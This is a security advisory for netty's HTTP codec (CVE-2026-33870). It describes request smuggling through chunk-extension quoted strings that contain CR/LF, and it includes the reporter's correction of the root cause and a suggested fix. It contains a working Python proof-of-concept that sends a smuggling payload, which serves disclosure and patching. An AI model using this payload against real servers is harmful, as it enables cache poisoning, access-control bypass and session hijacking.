Skip to content

RFC violation: HTTP Request Smuggling primitive via Chunked Extension Quoted-String Parsing

High
chrisvest published GHSA-pwqr-wmgm-9rr8 Mar 24, 2026

Package

maven io.netty:netty-codec-http (Maven)

Affected versions

<=4.1.131.Final, <=4.2.10.Final

Patched versions

4.2.12.Final, 4.1.132.Final

Description

Summary

netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, even if it contains \r\n sequences.

Vulnerability

netty terminates chunk header parsing at \r\n inside quoted strings instead of continuing to the closing quote.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (netty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser Request 1 Request 2
netty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED!)
RFC compliant POST / body="Y" (none - smuggled request hidden in extension)

Impact

  • Request Smuggling: Attacker injects arbitrary HTTP requests
  • Cache Poisoning: Smuggled responses poison shared caches
  • Access Control Bypass: Smuggled requests bypass frontend security
  • Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

  1. Start the minimal POC with docker
  2. Run the poc script provided in same zip

Suggested Fix

When parsing chunk extensions, continue through quoted-string values until the closing DQUOTE before looking for the terminating \r\n:

1. Read chunk-size
2. If ';' found, parse extensions:
   a. If extension value starts with DQUOTE:
      - Continue reading until closing DQUOTE
      - Handle escaped characters per RFC 9110 Section 5.6.4
   b. Else read token value
3. Only terminate at \r\n OUTSIDE quoted strings

References

image [java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)

I initially claimed that \r\n inside quoted-strings should be parsed through until the closing quote. That's wrong.

Looking at RFC 9110 Section 5.6.4 more carefully:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "" ( HTAB / SP / VCHAR / obs-text )

CR and LF bytes aren't in any of these ranges - they're simply not allowed inside chunk-ext at all, quoted or not. A strict parser should reject the request with 400 if it sees CR/LF before the actual line terminator (Squid does this, for example)

The bug is still real - the parsing differential exists and smuggling works. But the root cause is better described as: doesn't validate that CR/LF are forbidden inside chunk extensions before the terminating CRLF.

The fix should reject these requests rather than try to parse through quoted strings.

Credit to Ben Kallus for pointing this out during discussion on the HAProxy mailing list.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVE ID

CVE-2026-33870

Weaknesses

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. Learn more on MITRE.

Credits